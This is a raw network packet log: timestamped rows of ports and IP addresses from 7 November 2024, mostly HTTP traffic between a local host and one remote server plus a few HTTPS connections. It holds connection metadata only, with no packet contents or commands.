Nov 7, 2024 17:25:47.660847902 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660875082 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.660914898 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660929918 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.660938025 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660958052 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.661019087 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.661041975 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.661056042 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.661071062 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.661081076 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.661093950 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.661108971 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.661118984 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.661173105 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.661290884 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.661305904 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.661319971 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.661333084 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.661340952 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.661355019 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.661366940 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.661381006 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.661395073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.661407948 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.661421061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.661421061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.661433935 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.661463976 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.661494017 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.661515951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.661530018 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.661570072 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.661739111 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.661928892 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.661943913 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.662030935 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.662061930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.662077904 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.662095070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.662112951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.662125111 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.662142992 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.662157059 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.662228107 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.662259102 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.662276030 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.662419081 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.662769079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.662787914 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.662807941 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.662822962 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.662847996 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.662863970 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.662877083 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.662892103 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.662909031 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.662925959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.662939072 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.662985086 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.662993908 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.663142920 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.702286959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.702307940 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.702322960 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.702380896 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.702380896 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.704832077 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.704884052 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.704967976 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.704992056 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.705337048 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.712918043 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.712940931 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.725143909 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.725387096 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.725425959 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.725436926 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.725450039 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.725467920 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.725893974 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.726116896 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.726131916 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.742183924 CET	443	49992	23.221.22.41	192.168.2.6
Nov 7, 2024 17:25:47.742475033 CET	443	49991	23.221.22.41	192.168.2.6
Nov 7, 2024 17:25:47.742696047 CET	49992	443	192.168.2.6	23.221.22.41
Nov 7, 2024 17:25:47.742718935 CET	443	49992	23.221.22.41	192.168.2.6
Nov 7, 2024 17:25:47.742995024 CET	49991	443	192.168.2.6	23.221.22.41
Nov 7, 2024 17:25:47.743002892 CET	443	49991	23.221.22.41	192.168.2.6
Nov 7, 2024 17:25:47.743815899 CET	443	49992	23.221.22.41	192.168.2.6
Nov 7, 2024 17:25:47.743887901 CET	49992	443	192.168.2.6	23.221.22.41
Nov 7, 2024 17:25:47.744116068 CET	443	49991	23.221.22.41	192.168.2.6
Nov 7, 2024 17:25:47.744235039 CET	49991	443	192.168.2.6	23.221.22.41
Nov 7, 2024 17:25:47.745313883 CET	49991	443	192.168.2.6	23.221.22.41
Nov 7, 2024 17:25:47.745374918 CET	443	49991	23.221.22.41	192.168.2.6
Nov 7, 2024 17:25:47.745408058 CET	49992	443	192.168.2.6	23.221.22.41
Nov 7, 2024 17:25:47.745495081 CET	443	49992	23.221.22.41	192.168.2.6
Nov 7, 2024 17:25:47.753364086 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.753396988 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.753489971 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.753489971 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.753504038 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.754388094 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.773686886 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.773739100 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.773749113 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.773761988 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.773780107 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.773799896 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.773812056 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.773823977 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.773835897 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.773848057 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.773859978 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.773868084 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.773904085 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.773911953 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.773943901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.773955107 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.773982048 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.774002075 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.774019003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.774029970 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.774064064 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.774527073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.774588108 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.774600983 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.774609089 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.774625063 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.774650097 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.774698973 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.774709940 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.774723053 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.774775028 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.774791002 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.774800062 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.774818897 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.774826050 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.774842978 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.774853945 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.774859905 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.774872065 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.774879932 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.774889946 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.774898052 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.774907112 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.774919033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.774930954 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.774930954 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.774945021 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.774955034 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.774966002 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.774977922 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.774986029 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775000095 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775006056 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775022984 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775053024 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775094032 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775105000 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775116920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775135994 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775146008 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775151968 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775165081 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775182962 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775191069 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775199890 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775214911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775221109 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775229931 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775238991 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775254965 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775266886 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775274992 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775285006 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775299072 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775310040 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775324106 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775336027 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775361061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775367975 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775377989 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775389910 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775428057 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775438070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775448084 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775465965 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775476933 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775494099 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775510073 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775532961 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775542974 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775580883 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775589943 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775602102 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775613070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775630951 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775662899 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775733948 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775804996 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775816917 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775851965 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775875092 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775887012 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775897980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775908947 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775922060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775930882 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775939941 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.775960922 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775960922 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.775981903 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.776001930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.776035070 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.776099920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.776110888 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.776122093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.776134968 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.776141882 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.776155949 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.776160955 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.776215076 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.776401043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.776452065 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.776462078 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.776489973 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.776499033 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.776515961 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.776527882 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.776545048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.776562929 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.776596069 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.776609898 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.776652098 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.776673079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.776693106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.776705980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.776716948 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.776727915 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.776743889 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.776750088 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.776774883 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.777050018 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777062893 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777096033 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.777112007 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.777121067 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777133942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777144909 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777156115 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777170897 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777177095 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.777184963 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777203083 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.777218103 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.777239084 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777319908 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777332067 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.777338982 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777358055 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.777369022 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.777396917 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777407885 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777420998 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777441978 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.777467012 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.777527094 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777573109 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.777595043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777606010 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777630091 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.777648926 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.777657986 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777669907 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777681112 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.777698994 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.777723074 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.778031111 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.778069973 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.778079033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.778089046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.778115034 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.778122902 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.778134108 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.778145075 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.778155088 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.778203964 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.791614056 CET	49991	443	192.168.2.6	23.221.22.41
Nov 7, 2024 17:25:47.791620970 CET	443	49991	23.221.22.41	192.168.2.6
Nov 7, 2024 17:25:47.791651964 CET	49992	443	192.168.2.6	23.221.22.41
Nov 7, 2024 17:25:47.791661978 CET	443	49992	23.221.22.41	192.168.2.6
Nov 7, 2024 17:25:47.817925930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.817948103 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.817960024 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.817987919 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.818017960 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.818034887 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.818108082 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.846297026 CET	49991	443	192.168.2.6	23.221.22.41
Nov 7, 2024 17:25:47.846324921 CET	49992	443	192.168.2.6	23.221.22.41
Nov 7, 2024 17:25:47.868921041 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.868947029 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.868989944 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.869000912 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.869038105 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.875766039 CET	443	49994	204.79.197.219	192.168.2.6
Nov 7, 2024 17:25:47.876115084 CET	49994	443	192.168.2.6	204.79.197.219
Nov 7, 2024 17:25:47.876127958 CET	443	49994	204.79.197.219	192.168.2.6
Nov 7, 2024 17:25:47.877257109 CET	443	49994	204.79.197.219	192.168.2.6
Nov 7, 2024 17:25:47.877362013 CET	49994	443	192.168.2.6	204.79.197.219
Nov 7, 2024 17:25:47.877818108 CET	443	49993	204.79.197.219	192.168.2.6
Nov 7, 2024 17:25:47.886776924 CET	49993	443	192.168.2.6	204.79.197.219
Nov 7, 2024 17:25:47.886791945 CET	443	49993	204.79.197.219	192.168.2.6
Nov 7, 2024 17:25:47.888046026 CET	443	49993	204.79.197.219	192.168.2.6
Nov 7, 2024 17:25:47.888099909 CET	49993	443	192.168.2.6	204.79.197.219
Nov 7, 2024 17:25:47.888408899 CET	49994	443	192.168.2.6	204.79.197.219
Nov 7, 2024 17:25:47.888521910 CET	443	49994	204.79.197.219	192.168.2.6
Nov 7, 2024 17:25:47.889260054 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889329910 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.889354944 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889368057 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889390945 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.889400005 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889411926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889420986 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.889431953 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889441013 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.889452934 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.889458895 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889471054 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.889499903 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.889525890 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889537096 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889552116 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889563084 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.889570951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889581919 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.889592886 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.889609098 CET	49911	80	192.168.2.6	95.215.204.182
